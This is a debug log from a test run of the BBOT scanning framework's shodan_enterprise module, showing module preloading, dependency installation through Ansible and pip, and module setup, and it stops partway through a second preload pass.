[DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:45:39,505 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:45:39,506 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:45:39,507 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:45:39,509 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:45:39,510 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:45:39,511 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:45:39,513 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:45:39,515 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:45:39,516 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:45:39,517 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:45:39,518 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:45:39,519 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:45:39,520 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:45:39,521 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:45:39,522 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:45:39,523 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:45:39,523 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:45:39,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:45:39,526 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:45:39,527 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:45:39,528 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:45:39,530 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:45:39,530 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:45:39,531 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:45:39,532 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:45:39,534 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:45:39,535 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:45:39,536 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:45:39,537 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:45:39,537 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:45:39,538 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:45:39,539 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:45:39,541 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:45:39,543 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:45:39,545 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:45:39,546 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:45:39,548 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:45:39,548 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:45:39,550 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:45:39,551 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:45:39,552 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:45:39,554 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:45:39,555 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:45:39,556 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:45:39,558 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:45:39,559 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:45:39,561 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:45:39,562 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:45:39,563 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:45:39,564 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:45:39,565 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:45:39,566 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:45:39,567 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:45:39,568 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:45:39,569 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:45:39,570 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:45:39,571 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:45:39,572 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 21:45:39,573 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 21:45:39,750 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4511611824 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:45:39,750 [DEBUG] filelock _api.py:334 Lock 4511611824 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:45:39,753 [DEBUG] filelock _api.py:364 Attempting to release lock 4511611824 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:45:39,753 [DEBUG] filelock _api.py:367 Lock 4511611824 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:45:40,952 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:45:40,952 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:45:40,953 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:45:41,091 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:45:41,652 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:45:41,652 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:45:41,653 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:45:41,653 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:45:41,870 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:45:41,872 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:45:41,988 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:45:41,988 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:45:42,043 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 2 targets (2 in whitelist) +2026-02-27 21:45:42,046 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:45:42,047 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:45:42,679 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:45:42,680 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:45:45,630 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:45:45,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:45:45,631 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:45:47,669 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:45:47,670 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:45:47,675 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:45:47,676 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:45:47,676 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:45:47,676 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:45:47,682 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ua5bjyxgd3il85yh5cqy +2026-02-27 21:45:48,772 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:45:48,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:45:48,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:45:48,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:45:48,775 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:45:48,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:45:48,897 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:45:48,897 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:45:48,897 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:45:48,900 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:45:48,901 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:45:48,901 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:45:48,901 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:45:48,902 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:45:48,902 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:45:48,903 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:45:48,904 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:45:48,905 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:45:48,905 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:45:48,905 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:45:48,906 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:45:48,907 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:45:48,907 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:45:48,908 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:45:48,908 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:45:48,909 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:45:48,909 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:45:48,909 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:45:48,910 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:45:48,911 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:45:48,911 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:45:48,911 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:45:48,911 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:45:49,474 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:45:49,475 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:46:47,555 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 21:46:47,567 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 21:46:47,568 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 21:46:47,569 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 21:46:47,571 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 21:46:47,571 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 21:46:47,574 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 21:46:47,575 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 21:46:47,580 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 21:46:47,581 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 21:46:47,583 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 21:46:47,584 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 21:46:47,586 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 21:46:47,587 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 21:46:47,589 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 21:46:47,590 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 21:46:47,591 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 21:46:47,591 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 21:46:47,592 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 21:46:47,593 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 21:46:47,594 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 21:46:47,595 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 21:46:47,597 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 21:46:47,598 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 21:46:47,599 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:46:47,600 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:46:47,601 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:46:47,601 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:46:47,603 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:46:47,603 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:46:47,604 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:46:47,605 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:46:47,606 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:46:47,607 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:46:47,607 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:46:47,608 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:46:47,614 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:46:47,615 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:46:47,616 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:46:47,617 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:46:47,618 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:46:47,619 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:46:47,620 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:46:47,621 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:46:47,622 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:46:47,623 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:46:47,624 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:46:47,624 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:46:47,626 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:46:47,627 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:46:47,628 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:46:47,629 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:46:47,630 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:46:47,630 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:46:47,631 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:46:47,632 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:46:47,633 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:46:47,634 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:46:47,635 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:46:47,636 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:46:47,637 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:46:47,638 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:46:47,645 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:46:47,646 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:46:47,647 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:46:47,649 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:46:47,651 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:46:47,653 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:46:47,654 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:46:47,655 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:46:47,656 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:46:47,657 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:46:47,660 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:46:47,661 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:46:47,662 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:46:47,663 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:46:47,665 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:46:47,666 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:46:47,667 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:46:47,668 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:46:47,669 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:46:47,670 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:46:47,671 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:46:47,672 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:46:47,673 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:46:47,674 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:46:47,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:46:47,677 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:46:47,678 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:46:47,681 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:46:47,682 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:46:47,685 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:46:47,686 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:46:47,688 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:46:47,689 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:46:47,690 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:46:47,691 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:46:47,693 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:46:47,694 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:46:47,695 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:46:47,697 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:46:47,699 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:46:47,700 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 